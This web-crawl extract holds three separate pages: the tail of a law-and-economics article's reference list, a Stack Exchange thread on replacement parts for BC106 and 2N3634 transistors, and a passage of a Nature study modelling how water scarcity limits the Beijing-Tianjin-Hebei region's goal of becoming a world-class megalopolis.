WorldCat Masur, Jonathan S. , and Posner Eric A.. 2012 . “ Regulation, Unemployment, and Cost-Benefit Analysis, ” 98 Virginia Law Review 579 – 634 . Google Scholar OpenURL Placeholder Text WorldCat Mian, Atif and Sufi Amir. 2014 . House of Debt: How They (and You) Caused the Great Recession, and How We Can Prevent It From Happening Again . Chicago, IL : University of Chicago Press . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Mian, Atif , Sufi Amir and Trebbi Francesco. 2015 . “ Foreclosures, House Prices, and the Real Economy, ” 70 The Journal of Finance 2587 – 634 . Google Scholar Crossref Search ADS WorldCat Mian, Atif , Rao Kamalesh and Sufi Amir. 2013 . “ Household Balance Sheets, Consumption, and the Economic Slump, ” 128 The Quarterly Journal of Economics 1687 – 726 . Google Scholar Crossref Search ADS WorldCat Peevyhouse v. Garland, 382 P.2d 109 ( Okla . 1962 ). Posner, Richard A. 1971 . “ Taxation by Regulation, ” 2 Bell Journal for Economics & Management Science 22 – 50 . Google Scholar Crossref Search ADS WorldCat Rognlie, Matthew . 2016 . “ What Lower Bound? Monetary Policy with Negative Interest Rates. ” Available at http://economics.mit.edu/files/11174 ( accessed September 6, 2018 ). Romano, Roberta . 2014 . “ Regulating in the Dark and a Postscript Assessment of the Iron Law of Financial Regulation, ” 43 Hofstra Law Review 25 – 93 . Google Scholar OpenURL Placeholder Text WorldCat Romer, David . 2012 . Advanced Macroeconomics , 4th ed. New York, NY : McGraw-Hill Irwin . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC Shear, Michael . 2010 . “ Obama Lesson: ‘Shovel Ready’ Not So Ready, ” The New York Times . October 15 , 2010 . Available at http://thecaucus.blogs.nytimes.com/2010/10/15/obama-lesson-shovel-ready-not-so-ready/ ( accessed September 6, 2018 ). Shleifer, Andrei and Vishny Robert W.. 1992 . “ Liquidation Values and Debt Capacity: A Market Equilibrium Approach, ” 47 Journal of Finance 1343 – 66 . Google Scholar Crossref Search ADS WorldCat Strnad, Jeff . 2003 . “ Some Macroeconomic Interactions with Tax Base Choice, ” 56 SMU Law Review 171 – 200 . Google Scholar OpenURL Placeholder Text WorldCat Summers, Lawrence H. 2016 . “ The Age of Secular Stagnation: What It Is and What to Do About It, ” Foreign Affairs , May 12 . Available at: https://www.foreignaffairs.com/articles/united-states/2016-02-15/age-secular-stagnation ( accessed September 6, 2018 ). Weitzman, Martin L. 1974 . “ Prices vs. Quantities, ” 41 Review of Economic Studies 477 – 91 . Google Scholar Crossref Search ADS WorldCat Woodford, Michael . 2011 . “ Simple Analytics of the Government Expenditure Multiplier, ” 3 American Economics Journal: Macroeconomics 1 – 35 . Google Scholar Crossref Search ADS WorldCat Wren-Lewis, Simon . 2014 . “ Sticky Prices: How We Confuse Students, and Sometimes Ourselves, ” Mainly Macro , May 11 . Available at https://mainlymacro.blogspot.com/2014/05/sticky-prices-how-we-confuse-students.html ( accessed September 6, 2018 ). Young, Warren and Zilberfarb Ben-Zion, eds. 2000 . IS-LM and Modern Macroeconomics . Dodrecht, Netherlands : Springer Netherlands . Google Scholar Google Preview OpenURL Placeholder Text WorldCat COPAC © The Author 2019. Published by Oxford University Press on behalf of the American Law and Economics Association. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com This article is published and distributed under the terms of the Oxford University Press, Standard Journals Publication Model (https://academic.oup.com/journals/pages/open_access/funder_policies/chorus/standard_publication_model) © The Author 2019. Published by Oxford University Press on behalf of the American Law and Economics Association. All rights reserved. For permissions, please e-mail: journals.permissions@oup.com ### Journal American Law and Economics ReviewOxford University Press Published: May 1, 2019 ### References Access the full text.
2022-12-01 08:05:27
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.40753528475761414, "perplexity": 4752.870789722804}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710801.42/warc/CC-MAIN-20221201053355-20221201083355-00231.warc.gz"}
http://electronics.stackexchange.com/questions/18692/how-can-i-find-a-replacement-for-a-transistor
# How can I find a replacement for a transistor? I have a circuit that uses BC106 and 2N3634, which can't find in store (where I live). Is there any website which could help me find an equivalent transistor? For instance I want to replace BC106 and 2N3634 with others that act the same. Any suggestions would be appreciated. - Where do you live (what country at least, city if possible) –  Russell McMahon Aug 28 '11 at 8:56 If possible, a schematic or rough idea of the circuit might be useful too (e.g. RF, audio, switching? Supply voltage?) –  Oli Glaser Aug 28 '11 at 10:37 See addition to my answer - BC106 probably does not exist. Some circuits refer to it but no available data sheets and an early 1970's selector guide (book) does not have it. Circuit references are most probably in error. For BC107-BC109 datasheet see datasheetcatalog.org/datasheet/philips/BC107_108_109_4.pdf –  Russell McMahon Aug 28 '11 at 20:13 Note that a BC106 quite possibly never existed - see "BC106 where are you?" note at end of this answer. The most important parameters of small bipolar transistors (like your two) are • Maximum allowed Collector Voltage ( Vc or Vce or Vceo) • Maximum allowed collector current (Ic or Ic or ...) • Minimum and typical current gain figures (= "Beta") • NPN or PNP • Package may matter • Power dissipation may matter. If you use a part that has at least the same Vc max or higher, at least the same Ic max or higher and an equal or greater typical current gain then the transistor will work acceptably in the majority of circuits. There are special requirements that are affected by a number of other parameters, but in most cases you will not need to worry about them. You can find many of Digikey's transistors here or you can start at the top and search Digikey's whole websitewith BC107 data sheet here. You can use the same method for your 2N3634 once you know its parameters. It's worth noting how the above transistor search was arrived at. I just entered "transistor" (without quotes) in the search box at the top level, then clicked on "Transistors (BJT) - Single (13,797 items)" and it took me to the transistor search page above The next most important parameter is possible "Ft" - the effective maximum operating frequency (although the transistor is of no use at that frequency). If you need to care about Ft then chances are that you should be showing us your circuit and telling us what you are ring to do and then asking for advice. A good source (one of quite a few) of information on US available transistors can be had from Digikeys online catalog. It allows you to select Vc, Ic, Beta, Ft etc. Whether the parts there are of use to you depends what country you are in. A useful site that allows you to search 20+ suppliers catalogs at once is www.findchips.com. Searching that site for BC106 returns showing that 7 suppliers (probably) have it in stock - BUT it turns out that none of the stock are the transistor you want - the code BC106 appears in other parts numbers as well :-(. Rather than try and track one down at this stage I'll note that Digikey sells the BC107 = 45V, 100 mA, NPN, Beta = 200, 300 mA dissipation, Beta = ? here It uses an old style metal TO18 case but the dissipation is lower than for most plastic cased leaded devices. Using Digikeys transistor selector page as mentioned above and selecting transistors with specs at least as good as listed above and using either a TO18 or TO92 (plastic) leaded case, returned 51 choices. Of these the cheapest in stock in 1's is a BC337-40, NPN, 45V, 800 mA, Beta=250, FT=100 MHz, TO92 case, 625 mW dissipation. It is likely to be an excellent substitute for a BC107 in most cases. Also suitable are versions of the MPSA18, ZTX692, ZTX694 & 2SC29250. Note that in the above I've left out some details which are more liable to confuse than help at this stage. eg Beta is usually specified at a stated current. BC106 where are you?: It seems possible that the BC106 has never existed. A BC100 did and BC107 on did. Some circuits refer to BC106 but that does not guarantee it's existence. It is very likely that if you use the BC337-40 or similar that it will do very well in the original circuit BUT seeing the circuit would be even better. As an example of brain-fade and BC106's, this discussion from 2009 refers to a BC106 allegedly in a circuit diagram here BUT when I look, I find the circuit uses a BC107. SO BC106 probably (but not certainly) does not exist. Some circuits refer to it but no locateable (so far) data sheets and an early 1970's selector guide (book) of mine does not have it. Circuit references are most probably in error. 1989 SGS Thomson datasheet here - Thanks, @RussellMcMahon , the information helped a lot !! –  Ehsan Ershadi Aug 28 '11 at 12:14 How do you know that a BC107 has anything in common with a BC106? –  starblue Aug 28 '11 at 15:39 @starblue - As I said "Rather than try and track one down I'll note that ... BC107 ... " BUT // See addition to my answer - BC106 probably does not exist. Some circuits refer to it but no available data sheets and an early 1970's selector guide (book) does not have it. Circuit references are most probably in error. For BC107-BC109 datasheet see datasheetcatalog.org/datasheet/philips/BC107_108_109_4.pdf –  Russell McMahon Aug 28 '11 at 20:17 @starblue - Traditionally characteristics of transistors changed across a group and you would often find that components wuth similar numbers varied by one main parameter such as collector voltage or current. This was never certain but often enough true. A look at the BC107/BC108/BC109 datasheet shows this at work. YMMV as ever :-) –  Russell McMahon Aug 28 '11 at 20:30 @Russell McMahon Yes, I know that, but you cannot rely on it. I also think BC106 doesn't exist, and it's probably a BC107, which was a standard small signal transistor back in the seventies. I got some in a local shop when I asked for BC238Cs, which were used in the KOSMOS sets for children. –  starblue Aug 29 '11 at 7:56 Transistors have dozens of parameters and it can be difficult to find a perfectly matching equivalent. Single out the parameter(s) most important to you and look up a suitable part using a manufacturer's selection guide. For a transistor like the BC106 or 2N3634 this may be $H_{FE}$ and/or $I_C$. It may be easier to find a suitable replacement this way than by starting from minimum values. For instance the 2N3634 has a $V_{CEO}$ of 140V, which is much for a small signal transistor. So if you focus on that value you may find it difficult to find an exact equivalent, while maybe the circuit it's used in works at 12V. Selection guides: Fairchild NXP - ## protected by Community♦Feb 19 at 9:28 Thank you for your interest in this question. Because it has attracted low-quality answers, posting an answer now requires 10 reputation on this site.
2014-11-21 16:32:43
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.37380367517471313, "perplexity": 2763.483959837826}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-49/segments/1416400372999.9/warc/CC-MAIN-20141119123252-00112-ip-10-235-23-156.ec2.internal.warc.gz"}
https://www.nature.com/articles/s42949-020-00012-8
## Introduction The past decades have witnessed significant urbanization throughout the world. According to a report by United Nations, 55% of the world’s population lives in urban areas in 2018 and this proportion is expected to increase to 68% by 20501. Acceleration of urban expansion and transformation has boosted the formation of megalopolises, which are concentrated urbanized areas with highly developed spatial form of integrated cities2. Extensive empirical studies showed the positive productivity gains from the formation of megalopolises for countries engaging in international competition and cooperation in an increasingly global economy3,4,5. The formation of megalopolises fortified urban scale economies through better access to inter-industry information flows, abundant, and diversified labor forces, specialized services, as well as general public infrastructure and facilities. World-class megalopolis represents the highest level of megalopolises. The earliest prototypical conception for world-class megalopolis can be traced back to the megalopolis of “BosWash corridor” in the northeastern United States, which included the large cities of Boston, New York, Providence, Hartford, New Haven, Philadelphia, Baltimore, and Washington6. From this study onward, the connotation has been continuously enriched by subsequent scholars7,8,9,10,11. However, a consensus on a specific definition for world-class megalopolis has yet to be reached. It is generally agreed that the common features of the world-class megalopolis should include: densely clustered cities and non-agricultural population, sufficiently large economic size, highly developed industries (particularly, tertiary industries), one or multiple internationally influential core cities and closely integrated economic connections among cities in the megalopolis. There are six internationally acknowledged world-class megalopolises, including the Atlantic Coast megalopolis, the Japan Pacific Coast megalopolis, the Great Lakes megalopolis, the Northwestern Europe megalopolis, the Yangtze River Delta megalopolis, and the British megalopolis12,13. Not surprisingly, the formation of megalopolises has become a goal of many urban development agencies around the world. A challenge is how to ensure a rapid urban expansion sustainably. Water is indispensable in almost every production and consumption process. Water scarcity has been challenging sustainable urban development globally. In 2019, the United Nations World Water Development Report indicated that the global water use had been increasing worldwide by ~1% per year since the 1980s, driven by a combination of population growth, socio-economic development, and changing consumption patterns14. Global water demand is expected to increase by 20–30% until 2050, and much of the growth will be attributed to increase in demand of the industrial and domestic sectors15,16. Megalopolises, where agglomerations of population and production activities bring about the increasing demand for water resources, commonly encounter water crisis and this, in turn, restricts their further development17,18. Figure 119 demonstrates a high correlation between the economic growth of the world-class megalopolises and the abundance of water resources, verifying the significance of water resources to megalopolises’ economic development. A high level of economic growth requires sustained and adequate water supply, as water is the principal factor supporting the development of a region. Given the fact that the six internationally acknowledged world-class megalopolises are not water-scarce regions, the restrictive effect of water did not capture much attention in their development. As ambitious urban development goals are being put forward in a number of water-scarce regions in the world, water availability is a critical factor that requires consideration. The Chinese government is promoting the Beijing-Tianjin-Hebei (BTH) region to become a world-class megalopolis in China in addition to the Yangtze River Delta megalopolis20. Much attention has been focused on the BTH region since the implementation of “The Plan for the Coordinated Development of Beijing, Tianjin, and Hebei” enacted by the Chinese central government in 2015. The Plan has proposed the long-term goal for the BTH region to become a world-class megalopolis. However, the BTH region is severely constrained by water availability, with an annual per capita water resources of <200 m3, approximately one-tenth and one-fortieth of the national and world averages, respectively21. In addition to water scarcity, three further shortcomings of the BTH region can be identified compared with the existing world-class megalopolises. Firstly, the economic size of the BTH region in terms of gross domestic product (GDP) is still small. In 2017, the BTH region’s GDP was 1.19 trillion USD (The exchange rate between USD and CNY is based on the averaged central parity rate of 2017, released by the People’s Bank of China), only ~30–50% of the GDP levels of the six acknowledged world-class megalopolises (Supplementary Table 1). Second, most of the world-class megalopolises are tertiary industry dominated, while the proportions of the tertiary industries in most BTH cities are lower than 50% (Supplementary Table 2). Third, cities in the BTH region are not closely connected with each other to form an integrated megalopolis. The intra-regional trade value of the BTH region takes up only 29% of the total trade value, indicating the intra-regional trade of the BTH region is not paramount in composition of their total trade (Supplementary Table 3). In order to achieve the ambitious goal of becoming a world-class megalopolis, it is requisite for the BTH region to put forth efforts to overcome these shortcomings by promoting the economic growth, adjusting industrial structure and enhancing intra-regional economic integration, while alleviating the severe water shortage. Moreover, it is worth noting that there is a significant level of heterogeneity amongst the cities in the BTH region in terms of economic development and water resources. Beijing is the most economically developed entity, with the highest GDP per capita, followed by Tianjin. Hebei is the least developed area among the three. Water conditions are relatively better in the cities in northern Hebei, with annual per capita water resources averaged over 400 m3. The cities in southern Hebei are water scarcest, with annual per capita water resources <150 m3 (Fig. 219; Supplementary Table 4). A challenging question is whether water scarcity will prevent the BTH region from becoming a world-class megalopolis. Given the significant spatial heterogeneity and nonnegligible economic connections across cities in the BTH region, it is necessary to incorporate city-level differences and inter-city connections in analyses of the region’s water challenge on its ambition to become a world-class megalopolis. In recent years, the intensifying resource and environmental pressure has attracted an increasing attention from scholars and policymakers on the sustainable challenges encountered in urban development22,23,24,25. As one of the most fundamental and indispensable natural resources, water constraint on urban development has led to concern in public and academic circles26,27,28. Moreover, the studies that look at the water effect of developing world-class megalopolises are rare since the existing world-class megapolises are not water-scarce regions. Existing studies mainly assessed water-carrying capacity as reflected in the assessment of population carrying capacity. Water carrying capacity was typically defined as the water resources needed to sustain a healthy social and economic system, the maximum threshold of water resources to sustain human activities29,30,31,32. As the connotation of water-carrying capacity still remains divergent and elusive, a consensus on a specific definition has yet to be reached33. Moreover, previous studies investigating water constraint on urban development rarely considered the implications of intra-regional economic connections owing to lack of data. This is particularly so between different cities within the megalopolis owing to lack of information of inter-city economic connections34,35,36,37,38. Inter-city economic connections reveal how different cities depend on each other in terms of intermediate and final products and services. The pattern of inter-city economic connections is closely related to the scale and structure of water use in each city and is therefore an important factor to consider in the analyses of urban development under water constraints. Inter-city input–output model is recognized as a robust assessment tool representing inter-city economic connections as well as capturing city heterogeneities. Although the importance of city-level input–output model has been well acknowledged in the literatures, the model compilation and application are generally limited due to the unavailable data such as city-level input–output tables39. The existing studies mostly remain at the stage of proposing conceptual and methodological framework for model compilation40,41. This study makes contribution to existing literatures in the following aspects: (i) conduct a comprehensive investigation of the restrictive effect of water resources relevant to world-class megalopolises, which were rarely studied in previous literatures. This study is of practical meanings for providing references for other water-scarce regions attempting to develop to the world-class megalopolises. (ii) Investigate the function of water in ensuring urban development from the perspective of water gap, which further enriches the connotation of water-carrying capacity. (iii) Perform an investigation on urban development under full consideration of the interaction between economic interconnections and water constraints based on an inter-city input–output optimization. We are fortunate to obtain the city-level input–output tables of Beijing, Tianjin, and 11 prefecture level cities in Hebei and then link them into the inter-city input–output model using multi-regional input–output modeling techniques42. The stability and reliability of the inter-city input–output table of the BTH region were verified through its rudimentary application in the analysis on industrial adjustment43. This approach is capable of fully reflecting the impacts of economic connections across cities on water requirements in the BTH region. The study aims to take the BTH region as an example to investigate the effect of water scarcity on urban development by answering the following two questions: (i) how large is the water gap for the BTH region in becoming a world-class megalopolis? (ii) To what extent can the water conservation measures offset the water shortages? The Yangtze River Delta megalopolis and the Great Lakes megalopolis, which are representative of world-class megalopolises of relatively smaller economic size and larger economic size, are set as the two benchmarks for the BTH region. The results of this study contribute to a better understanding of the BTH region’s challenge of reaching economic development goals under water resources constraints, and also provide references for other water-scarce regions attempting to develop to the world-class megalopolises. ## Results ### Minimum water requirement for world-class megalopolis The minimum water requirement for the BTH region to achieve the goal of becoming a world-class megalopolis is simulated by applying an inter-city input–output optimization model. The requirements for the BTH to become a world-class megalopolis are set as constraints in the optimization model. These constraints are concretized by indicators including economic size, industrial structure, and inter-city connection. The selection of these indicators was based on the aforementioned shortcomings identified by the comparison of the BTH region to the acknowledged world-class megalopolises, whereas the values of the indicators were established by referring to the benchmarking world-class megalopolises (Supplementary Table 5). The simulation results show that to achieve the benchmarks of the Yangtze River Delta megalopolis and the Great Lakes megalopolis, the minimum annual water requirement for the BTH region would be 37.58 billion m3 and 53.26 billion m3. respectively. Given that the annual average water resources of the BTH region is 20.40 billion m344, an extra amount of 17.18 billion m3 and 32.86 billion m3 water would be needed. Even for the most achievable goal of the Yangtze River Delta megalopolis, the water gap is almost equivalent to the current amount of water resources in the BTH region. The modeling results indicate that the gap between the local water resources and the water required for becoming a world-class megalopolis is high (Fig. 319). ### The BTH region’s maximum GDP without conservation measures This section investigates the maximum GDP that the BTH region can achieve under the current conditions without the application of any additional water conservation measures, based on the simulation of the inter-city input–output optimization model. In the model, it sets maximize GDP of the BTH region as the objective function and predicted water use not exceeding the local water available as the constraint. The results indicate that in the absence of additional water conservation measures, the maximum GDP that is achievable in the BTH region would be 1.34 trillion USD, only 12% higher than the current level of 1.19 trillion USD. The maximum GDP of the BTH region is well below that of the six acknowledged world-class megalopolises. This is significantly smaller than the existing world-class megalopolises. Even compared with the British megalopolis, which has the smallest GDP, the maximum achievable GDP for the BTH region is still ~35% lower (Fig. 419). ### Effects of water conservation measures Local governments in the BTH region have been striving to alleviate water stress by adopting water conservation measures, including improving water use efficiency, controlling agricultural water use, and adjusting industrial structures. Li et al.43 investigated the water conservation effects of industrial structure adjustments in the BTH region and found that 93.56% of the water saved from industrial structure adjustments in the BTH region could be attributed to agricultural water use reduction. Therefore, this study focuses on improving water use efficiency and restricting agricultural water use as two water conservation measures to evaluate their water conservation effects. In recent years, a series of regulations and development plans have been launched for water conservation45,46,47,48, in which specific goals for improving water use efficiency and reducing agricultural water were stipulated (Supplementary Table 6). The simulation results indicate that by improving water use efficiency, the minimum amount of water required for the BTH region to achieve the goal of benchmark I (the Yangtze River Delta megalopolis) will fall to 30.84 billion m3, 6.74 billion m3 lower than the aforementioned minimum water requirement without any additional conservation measures. However, subsequent to conservation efforts there is still a remaining water gap of 10.44 billion m3 between the water required for development and local water resources. The results show that reducing agricultural water use is a more significant water conservation measure, leading to a water use reduction of 14.86 billion m3. However, a water gap of 2.32 billion m3 still remains. If the two measures are jointly adopted, the minimum water requirement would be decreased to 15.58 billion m3. The local water resources of the BTH region would be sufficient to meet its demand to achieve the goal of benchmark I. The results indicate the importance of adopting different water conservation approaches simultaneously when addressing water scarcity. Under the goal of benchmark II (the Great Lakes megalopolis), the water conservation effects of improving water use efficiency and reducing agricultural water use are 7.39 billion m3 and 16.4 billion m3, respectively. However, the joint effect of the two measures is 24.71 billion m3, which is incapable of offsetting the water gap for benchmark II (Fig. 519). ## Discussion In addition to the local water supply, the BTH region also depends on the external transfer of water from the South-to-North Water Transfer Project (SNWTP), a strategic and pioneering project aimed at balancing the uneven spatial distribution of water resources in China. The designed water transfer capacity of the SNWTP to the BTH region is 5.73 billion m3, transporting 1.24 billion m3 to Beijing, 1.02 billion m3 to Tianjin, and 3.47 billion m3 to Hebei49. In terms of the amount of water inflow, the SNWTP appears to be a highly effective means of water compensation for the BTH region. According to our simulation results, the water gaps for the BTH region to achieve the benchmarking goals of the Yangtze River Delta megalopolis and the Great Lakes megalopolis would be 17.18 billion m3 and 32.86 billion m3, respectively. Therefore, if the water transfer capacity of the SNWTP is fully exploited, it would reduce the BTH region’s water gaps by ~33% and 17%. However, a field interview conducted for this research revealed that the expense associated with using water transferred from the SNWTP was too high for local enterprises to have incentive to use it. Therefore, current utilization of SNWTP water in Hebei highly depends on financial subsidies received from the central government, and as a result most of the cities use SNWTP water for ecological purposes (groundwater recharge) rather than industrial production (Supplementary Table 7). Therefore, the use of SNWTP water in the BTH region is of high uncertainty. To meet the water requirements to ensure adequate development, the BTH region should not depend on external water transfer from the SNWTP, but control its internal water demand. The simulation results in this study indicate that reducing agricultural water use has a vital role in water conservation. The BTH region is one of the most important wheat and maize production bases in China50,51. Particularly, Hebei’s productions of wheat account for 11% of the national total production in 201752. Given the water-intensive nature of agricultural practices, the majority of water use in Hebei is attributed to agricultural water use, which accounts for 69.4% of the province’s total water use in 201753. Therefore, controlling agricultural water use in Hebei is crucial for water conservation in the entire BTH region. Winter wheat is traditionally the most cultivated grain crop in Hebei, accounting for over 40% of the total grain production in Hebei in 201752. The stable and high yield of winter wheat depends on irrigation, since the effective precipitation in its growing period can only meet 20–30% of the wheat water requirement54. Consequently, the irrigation for winter wheat in Hebei is closely related to groundwater depletion55,56. Therefore, reduction in winter wheat is not only essential for reducing agricultural water use, but also necessary to reverse groundwater depletion and promote groundwater storage. Policies for land fallow as well as planting structure adjustments have been applied in pilot areas to encourage the extension of a single-cropping system in groundwater over-exploited areas. Instead of winter wheat, crops that consume less water, such as spring maize, summer maize, peanuts, cotton, or various cereals are encouraged to reduce the amount of water use. By applying this crop system replacement, each hectare of land can save 2700–3000 m3 of water57. Given the planting area of winter wheat in Hebei was 2.35 million hectares in 201858, this practice would at least bring about a water use reduction of 6.34 billion m3, ~50% of Hebei’s total agricultural water use. Furthermore, as a region under severe pressure from water scarcity, Hebei’s traditional position as a grain production base requires reconsideration. A drawback of applying these measures include a negative effect on the livelihood of farmers by decreasing direct income from agricultural production. Therefore, the trade-off between the water conservation effects and the potential loss to farmers needs to be evaluated and an appropriate balance should be sought. Measures enhancing farmers’ willingness to save water, such as compensations to farmers, should also be considered. It is worth noting that this study may have underestimated the water challenge facing the BTH region’s developmental goal of becoming a world-class megalopolis. In evaluating the water gap, annual average water resources were used as an indicator of the local water supply, an assumption that results in the overestimation of the supply of local water resources, as certain portions may not be accessible or exploitable. Moreover, the water requirement of the development goal is obtained from an optimization simulation, which provides an “ideal circumstance” result that may not be attainable in reality. Therefore, the water challenge faced by the BTH region to become a world-class megalopolis will most likely be more significant than that suggested in this study. Historically, there have been a number of debates on the spatial boundary of the BTH megalopolis in China, from both academic community and governments. As a result, the spatial scope of the BTH region’s developing strategy has undergone a process of evolution. For example, the current Plan for the Coordinated Development of Beijing, Tianjin, and Hebei can be traced back to its source to Territorial Planning of Beijing, Tianjin, and Tangshan implemented in 1984. The 1984 Plan defined the territory of the core economic zone of the BTH region with the five cities of Beijing, Tianjin, Tangshan, Qinhuangdao, and Langfang. In 2004, Regional Planning of BTH Metropolitan Area expanded the territory of the core economic zone to 10 cities by adding five more cities to the Plan, including Shijiazhuang, Baoding, Cangzhou, Zhangjiakou, and Chengde. On the basis of 2004 Plan, the current Plan for the Coordinated Development of Beijing, Tianjin, and Hebei 2015 includes three additional cities, namely, Handan, Xingtai, and Hengshui. The current boundary of the BTH megalopolis is a compromise proposal considered by the central, provincial, and local governments from the perspective of interest balancing. The main point of policy discussion since then has been whether the four cities in southern and central Hebei (Handan, Xingtai, Hengshui, and Cangzhou) should be included59,60. Academic discussions on the issue are conducive to formulating a more science-based plan for BTH region. The four cities in southern and central Hebei, Handan, Xingtai, Hengshui, and Cangzhou, are geographically distant from the center of the BTH region and their economic connections with other cities of the region are weak. Moreover, the four cities are main growing areas for the water-intensive winter wheat, accounting for ~61% of winter wheat production of Hebei in 201752. In this study, the aforementioned simulations were re-applied for the BTH region excluding the four cities. The results show that the water gaps for the reduced BTH region to achieve the benchmarking goals of the Yangtze River Delta megalopolis and the Great Lakes megalopolis would be 11.15 billion m3 and 19.81 billion m3, 35 and 40% lower than the water gaps faced by the entire BTH region (Fig. 619). Therefore, adjusting the boundary of the BTH megalopolis by excluding the four cities in Hebei would be an alternative option to make the goal of becoming world-class megalopolis more achievable. The strategy of redefining boundary could be a feasible option for other water-scarce regions attempting to develop the world-class megalopolises hinges on the specific conditions of the megalopolis under discussion. The BTH experience can serve as a useful lesson for other megalopolises by proposing the key factors needed to be considered to make such a strategy effective. First, the exclusion of the cities should not break the geographical continuity of the megalopolis. The remaining cities should be a geographically contiguous area. Second, the excluded cities should be agricultural regions. Then, the exclusion of the cities can not only reduce water use, but also facilitate an upgraded industrial structure. Third, the excluded cities’ economic connections with other cities should be weak. Then the exclusion of the cities can be conducive to the integration of the megalopolis. The formation of world-class megalopolises has been a goal of many urban development agencies around the world owing to their economic advantages. Often water becomes a restrictive factor when pursuing higher urban development goals. The purpose of this paper, using the BTH region as an example, is to demonstrate how the water constraint would affect the formation of the world-class megalopolis and what measures can be taken to address the challenge. The water scarcity hinders the BTH region’s development plan of becoming a world-class megalopolis in a significant way. A considerable amount of water is required to meet the water demand for achieving the goals benchmarked by the Yangtze River Delta megalopolis and the Great Lakes megalopolis. Our findings show that without additional water conservation measures taken, economic potential of the BTH region will be severely limited and the goal of making the world-class is not achievable. Although the proposed measure of improving water use efficiency is helpful to reduce the water shortfall, it is incapable of eliminating the water constraints for the BTH region to reach its development goal of becoming the world-class megalopolis. However, if the measures of improving water use efficiency and significantly reducing agricultural water use are jointly adopted, the BTH region can reach the goal benchmarked by the Yangtze River Delta megalopolis. In order to make the goal easier to achieve, nonconventional measures such as redefining the boundary of the BTH megalopolis should be taken as an alternative plan. Our simulation results verify that redefining the boundary of the BTH megalopolis by excluding the four cities in Hebei would make the goal of making the BTH region a world-class megalopolis more achievable. To sum up, the results of this study show that the goal of becoming a world-class megalopolis is achievable for the BTH region only under certain conditions of water use or administrative planning. The required water use conditions refer to the adoption of intensive water conservation measures including improving water use efficiency and controlling agricultural water use, and the required administrative planning conditions refer to redefining the region’s boundary by excluding more heavily agricultural areas. This study demonstrates the effect of water scarcity in preventing the BTH region from achieving a world-class megalopolis, which can also provide references for other water-scarce regions attempting to develop the world-class megalopolises. It is worth noting that the process for the BTH region reaching the developing goals is a complex issue involving multiple tradeoffs. This study can be expanded in the future through a comprehensive investigation of the impacts of these tradeoffs, which would lead to far-reaching implications for policymaking, poverty reduction, agricultural communities, behaviors, and technologies. Moreover, climate change and consumption pattern change are significant factors influencing the future water conditions of the BTH region. It is anticipated that the water scarcity in the BTH region will be further exaggerated owing to climate change and consumption pattern change. Previous literatures indicated that the risk of drought in the BTH region would increase under the impact of climate change61,62, and consumption pattern changes accompanied with urbanization, population dynamics, lifestyle changes would further increase water requirement63,64,65. As such an inclusion of these two factors will unlikely change our findings in this paper. Further research is needed to involve the two factors into a more-detailed mechanisms depicting interrelationships between water resources, economic growth and policies, which will contribute to more effective and targeted recommendations for policymaking. This study simulates the BTH region’s achievement of world-class megalopolis status as currently defined, but an innovative vision of the world-class megalopolis is needed to be developed for water-scarce regions. With more and more water-scarce regions having higher urban development goals, water availability would become a critical factor determining whether the goals can be achieved or not. Accordingly, the criteria for world-class megalopolises may need to be redefined. A region’s ability of overcoming the restrictive effects of water scarcity might be requisite for being a world-class megalopolis in the new context. Therefore, the water-related indicators, such as adoption of advanced water-saving technologies, development of modern agriculture, regional coordination on water resource may be involved as the new criteria for world-class megalopolises in the future. ## Methods ### Inter-city input–output optimization model The optimization model was developed based on the inter-city input–output table of the BTH region (2012), which was compiled based on the city input–output tables of the BTH cities, with 2012 the latest tables available. Given year 2012 is close to the period of year 2014–2015 when the BTH region’s developing goal of becoming a world-class megalopolis was designed and proposed, the data of 2012 can reflect the situation of the BTH region at that time and thus are conducive to policy evaluations. Moreover, Although the data of 2012 are not up to date, the main macroeconomic and water use related parameters in the BTH region remained relatively stable (Supplementary Table 8, Supplementary Table 9 and Supplementary Table 10), they are still capable of providing a rough profile for the economic system and water use condition of the BTH region. Detailed information for the compilation of the inter-city input–output table of the BTH region (2012) can be seen in Li et al.43. The structure and sectors of the table are shown in Supplementary Table 11 and Supplementary Table 12, respectively. In the Inter-city input–output optimization model, varied combinations of objectives and constraints were adopted in different simulations (Table 1). The objectives and constraints are detailed below. ### Objectives #### Objective 1: minimization of water use The total water use of the BTH region can be obtained by adding up the amount of water used in all the sectors of all the cities in the region. The objective function is represented as: $${\it{min}}\mathop {\sum}\limits_{r = 1}^{14} {\mathop {\sum}\limits_{i = 1}^{16} {\omega _i^rx_i^r,} }$$ (1) where $$\omega 